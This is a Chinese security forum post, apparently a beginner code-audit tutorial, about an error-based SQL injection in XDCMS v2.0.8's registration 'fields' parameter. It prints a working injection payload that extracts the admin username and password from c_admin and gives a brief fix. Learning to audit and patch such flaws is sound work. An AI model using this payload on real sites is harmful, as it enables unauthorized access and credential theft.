用户
搜索
  • TA的每日心情
    擦汗
    2017-9-9 20:18
  • 签到天数: 11 天

    连续签到: 1 天

    [LV.3]经常看看I

    i春秋-见习白帽

    Rank: 3Rank: 3

    5

    主题

    57

    帖子

    93

    魔法币
    收听
    0
    粉丝
    2
    注册时间
    2016-7-25
    发表于 5 天前 73507
    本帖最后由 Aedoo 于 2017-12-7 10:10 编辑

    0x01 前言
    最近在学习代码审计,写的也都是一些基础的审计实战,适合新手练习。
    PS:环境以及源码等在文章最后

    0x01 过程跟踪
    首先,来到首页index.php。
    1.jpg
    判断是否已经安装程序,如果未安装,跳转到安装界面。
    安装成功,接下来跳转到/system/common.inc.php文件
    2.jpg

    定义一些全局变量并包含了一些文件。

    其中fun.inc.php包含了global.inc.php。
    3.jpg

    其中三个变量$m,$c,$f经过了两层安全过滤函数,分别是safe_html()和safe_replace()函数。
    4.jpg

    跟踪一下这两个函数:
    [AppleScript] 纯文本查看 复制代码
    function safe_replace($string) {
       $string = str_replace('%20','',$string);
       $string = str_replace('%27','',$string);
       $string = str_replace('%2527','',$string);
       $string = str_replace('*','',$string);
       $string = str_replace('"','"',$string);
       $string = str_replace("'",'',$string);
       $string = str_replace('"','',$string);
       $string = str_replace(';','',$string);
       $string = str_replace('<','<',$string);
       $string = str_replace('>','>',$string);
       $string = str_replace("{",'',$string);
       $string = str_replace('}','',$string);
       $string = str_replace('\\','',$string);
       return $string;
    }
    
    //安全过滤函数
    function safe_html($str){
       if(empty($str)){return;}
       if (preg_match('/\b select\b |\b insert\b | \b update\b | \b and\b | \b in\b | \b on\b | \b left\b |\b joins\b | \b delete\b |\%|\=|\/\*|\*| \b union\b |\.\.\/|\.\/| \b from\b | \b where\b | \b group\b | \binto\b |\bload_file\b
       |\boutfile\b/i',$str)){showmsg(C('error'),'-1');}
       return htmlspecialchars($str, ENT_COMPAT ,'GB2312');
    } 

    对XSS和SQL注入基本做了全面防护,经过这两个函数过滤的参数基本不会存在什么安全风险了。

    全局搜索一下$_GET和$_POST看一看是否过滤了所有传入的值。
    5.jpg
    6.jpg


    可以看見对POST传入的username和password进行了安全函数过滤,却忽略了fields参数。
    定位到此php文件。
    7.jpg


    问题出在下面的附属字段:
    8.jpg


    这两段代码对应的功能是用户注册:
    9.jpg


    用户名和密码分别对应username和password,这两个传入参数进行了安全函数过滤。
    后面的fields参数分别是姓名和安全邮箱这两个可选填。
    首先代码先将username和password和自行取出的userid进行了插入数据库操作,不存在安全问题。
    但是后面将field参数的值使用update操作更新至刚刚插入的数据库却存在注入问题。
    执行数据库操作使用的是query()函数,为自定义的。


    CTRL+B跟踪query()函数:
    10.jpg


    使用了mysql_query()进行查询操作并且失败时使用mysql_error()进行报错。
    明显的显错注入。
    将此处代码进行UPDATE之后打印出执行语句并且截断。
    11.jpg



    使用正常的注册信息来注册:
    12.jpg
    13.jpg


    得到原始执行语句:
    [SQL] 纯文本查看 复制代码
    update c_member set `truename`='name',`email`='email' where userid=1



    所以只需将truename和email替换为注入EXP即可。


    本人技术不足,只好在网上寻找了一段报错注入的Payload,如下:
    [SQL] 纯文本查看 复制代码
    http://127.0.0.1/sql.php?id=1+and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)


    0x02 EXP构造
    将其中的表名和列名替换并构造EXP:
    [SQL] 纯文本查看 复制代码
    1' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM c_admin limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#


    将上述EXP在注册时填入姓名和安全邮箱任意一列即可。
    测试:

    14.jpg
    成功通过报错注入得到管理员用户名和密码。

    0x03 小结
    可控参数和未完全过滤构成了本次代码的缺陷并且形成了SQL注入。

    0x04 修复方法
    对$feilds参数进行过滤。

    0x05 审计工具以及环境准备
    大家可自行搭建环境进行练习审计。
    审计工具:phpstorm
    审计环境搭建工具:phpstudy
    审计源码下载:
    xdcms_v2.0.8.rar (1.98 MB, 下载次数: 10, 售价: 3 魔法币)
    http://www.imsunshine.cn/

    老哥,这个语句的判断,是对isset()的判断?还是对safe_replace(safe_html(isset($_GET[m])))这个整体的判断?
    使用道具 举报 回复
    本帖最后由 Aedoo 于 2017-12-8 10:03 编辑
    w_uai 发表于 2017-12-7 13:55
    老哥,这个语句的判断,是对isset()的判断?还是对safe_replace(safe_html(isset($_GET[m])))这个整体的判 ...

    [PHP] 纯文本查看 复制代码
    $m=safe_replace(safe_html(isset($_GET["m"]))) ? safe_replace(safe_html($_GET["m"])) : "content";

    拿着一条来讲,isset()函数的作用是判断传入的参数是否存在,如果参数不存在则返回false,则执行三目运算符的:后的语句。$m=content
    http://www.imsunshine.cn/
    使用道具 举报 回复
    这代码审计讲得很详细啊
    小白~~~
    使用道具 举报 回复
    能不能出套教程基础的也行啊
    使用道具 举报 回复
    四大爷 发表于 2017-12-9 16:30
    能不能出套教程基础的也行啊

    抱歉,基础的东西网上有很多教程,可以自行了解php基本语法和数据结构后再来看我写的实战篇,这些实战都是适合新手的,挺简单的,你也可以直接根据文章内的操作跟着操作,边实战边学习效率也挺高。
    http://www.imsunshine.cn/
    使用道具 举报 回复
    发表于 昨天 15:32
    看着能理解,但自己就是找不到
    使用道具 举报 回复
    crZh 发表于 2017-12-11 15:32
    看着能理解,但自己就是找不到

    给你推荐款工具吧,Seay源代码审计工具,这个工具会自动审计出,代码遗漏的地方,不过误报率比较大,可以一一排查。
    http://www.imsunshine.cn/
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册